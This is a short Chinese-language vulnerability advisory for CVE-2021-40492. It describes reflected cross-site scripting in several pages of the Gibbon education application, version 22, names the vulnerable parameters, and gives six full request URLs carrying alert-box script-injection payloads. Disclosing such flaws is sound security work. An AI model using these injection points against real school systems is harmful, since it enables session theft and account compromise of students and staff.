CVE-2021-40492

CVE-2021-40492 Gibbon 版本 22 存在反射型跨站脚本（XSS）漏洞。 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40492

Gibbon 教育应用版本 22 的多个页面中存在反射型跨站脚本漏洞，允许任意执行 JavaScript 命令。

易受攻击的参数：gibbonCourseClassID, gibbonPersonID, subpage, currentDate, allStudents

易受攻击的 Payloads：

/gibbonedu/index.php?q=%2Fmodules%2FFormal+Assessment%2FexternalAssessment_details.php&gibbonPersonID=0000001819d7gdw'%3e%3cscript%3ealert(1)%3c%2fscript%3eckbcl&search=&allStudents=

/gibbonedu/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002425sbh6q%22%3e%3cscript%3ealert(XSS)%3c%2fscript%3ezdb7w

/gibbonedu/index.php?q=%2Fmodules%2FFormal+Assessment%2FexternalAssessment_details.php&gibbonPersonID=0000001819&search=k7zkk'%3e%3cscript%3ealert(XSS)%3c%2fscript%3eiqdj2&allStudents=

/gibbonedu/index.php?q=%2fmodules%2fPlanner%2fplanner.php&gibbonCourseClassID=00002425%7d%7dih0ol'%3e%3cscript%3ealert(XSS)%3c%2fscript%3eadssq&viewBy=class

/gibbonedu/index.php?q=%2fmodules%2fStudents%2fstudent_view_details.php&gibbonPersonID=2033&search=&allStudents=on&sort=surname%2c%20preferredName&subpage=Familyjxlcj%3cscript%3ealert(XSS)%3c%2fscript%3emn58l

/gibbonedu/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002425&currentDate=k9q4m%22%3e%3cscript%3ealert(XSS)%3c%2fscript%3etfuh1

2021年9月2日由 Brian Lowe 发现